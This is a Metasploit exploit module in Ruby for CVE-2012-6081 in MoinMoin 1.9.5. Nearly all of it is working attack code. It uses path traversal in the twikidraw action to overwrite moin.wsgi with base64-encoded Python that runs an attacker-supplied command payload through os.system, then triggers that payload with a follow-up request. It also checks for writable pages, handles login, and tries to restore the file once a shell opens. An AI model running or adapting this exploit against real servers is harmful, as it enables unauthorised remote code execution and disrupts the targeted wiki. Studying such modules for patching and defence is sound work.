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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
'Description' => %q{
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
exists on the manage of the twikidraw actions, where a traversal path can be used
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
configurations by overwriting moin.wsgi, which allows to execute arbitrary python
code, as exploited in the wild on July, 2012. The user is warned to use this module
at his own risk since it's going to overwrite the moin.wsgi file, required for the
correct working of the MoinMoin wiki. While the exploit will try to restore the
attacked application at post exploitation, correct working after all isn't granted.
},
'Author' =>
[
'Unknown',
'HTP',
'juan vazquez'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6081' ],
[ 'OSVDB', '88825' ],
[ 'BID', '57082' ],
[ 'EDB', '25304' ],
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet netcat perl'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'MoinMoin 1.9.5', { }]],
'DisclosureDate' => 'Dec 30 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def moinmoin_template(path)
template =[]
template << "# -*- coding: iso-8859-1 -*-"
template << "import sys, os"
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
template << "from MoinMoin.web.serving import make_application"
template << "application = make_application(shared=True)"
return template
end
def restore_file(session, file, contents)
first = true
contents.each {|line|
if first
session.shell_command_token("echo \"#{line}\" > #{file}")
first = false
else
session.shell_command_token("echo \"#{line}\" >> #{file}")
end
}
end
def on_new_session(session)
print_status("Trying to restore moin.wsgi...")
begin
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
rescue
print_warning("Error while restring moin.wsgi, manual restoring would be required.")
end
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'vars_post' =>
{
'action' => 'login',
'name' => username,
'password' => password,
'login' => 'Login'
}
})
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
return nil
end
return res.get_cookies
end
def upload_code(session, code)
vprint_status("Retrieving the ticket...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'twikidraw',
'do' => 'modify',
'target' => '../../../../moin.wsgi'
}
})
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
vprint_error("Error retrieving the ticket")
return nil
end
ticket = $1
vprint_good("Ticket found: #{ticket}")
my_payload = "[MARK]#{code}[MARK]"
post_data = Rex::MIME::Message.new
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' =>
{
'action' => 'twikidraw',
'do' => 'save',
'ticket' => ticket,
'target' => '../../../../moin.wsgi'
},
'data' => my_data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res or res.code != 200 or not res.body.empty?
vprint_error("Error uploading the payload")
return nil
end
return true
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => normalize_uri(@base)
})
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
return Exploit::CheckCode::Detected
elsif res
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def writable_page?(session)
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
})
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
return false
end
return true
end
def exploit
@page = datastore['WritablePage']
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
if not session
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
end
if not writable_page?(session)
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
end
print_status("Trying to upload payload...")
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
end
print_status("Executing the payload...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'AttachFile'
}
}, 5)
end
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